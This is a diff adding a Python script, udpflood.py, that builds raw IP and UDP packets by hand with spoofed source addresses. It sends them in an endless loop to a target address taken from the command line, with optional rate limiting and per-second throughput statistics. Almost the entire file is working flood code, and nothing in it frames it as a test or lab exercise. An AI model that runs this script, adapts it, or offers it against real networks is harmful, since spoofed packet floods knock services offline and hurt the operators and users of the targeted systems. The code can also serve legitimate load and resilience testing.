--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/udpflood.py Wed Jun 25 00:59:42 2014 +0300
@@ -0,0 +1,74 @@
+import dpkt
+import ipaddr
+import os
+import random
+import socket
+import struct
+import sys
+import time
+
+IP_HDR = struct.Struct('! BBH HH BBH 4s 4s')
+UDP_HDR = struct.Struct('! HH HH')
+
+def udpflood (dst, rate=None):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+
+ daddr = ipaddr.IPAddress(dst).packed
+ dport = 1337
+ ttl = 64
+
+ t0 = time.time()
+ t1 = 0.0
+ count = 0
+ size = 0
+
+ while True:
+ saddr = 'ABC' + os.urandom(1)
+ sport = random.randint(1, 2**16 - 1)
+
+ # UDP checksum is optional
+ udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337)
+
+ # IP checksum is filled in by kernel raw socket
+ ip_hdr = IP_HDR.pack(
+ 0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0,
+ 0x0000, 0x0000,
+ ttl, dpkt.ip.IP_PROTO_UDP, 0,
+ saddr,
+ daddr,
+ )
+
+ pkt = ip_hdr + udp_hdr + ''
+ sock.sendto(pkt, (dst, 0))
+
+ # stats
+ count += 1
+ size += len(pkt)
+ t = time.time() - t0
+
+ if rate and count % 1000:
+ over = count - t * rate
+
+ if over > 0:
+ #sys.stdout.write('.')
+ time.sleep(over / rate)
+
+ if t - t1 > 1.0:
+ sys.stdout.write('%8.2fs: %8d @ %8.2f/s = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count))
+ t1 = t
+
+ return 0
+
+def main (argv):
+ prog = argv.pop(0)
+ dst = argv.pop(0)
+
+ if argv:
+ rate = int(argv.pop(0))
+ else :
+ rate = None
+
+ return udpflood(dst, rate)
+
+if __name__ == '__main__':
+ sys.exit(main(sys.argv))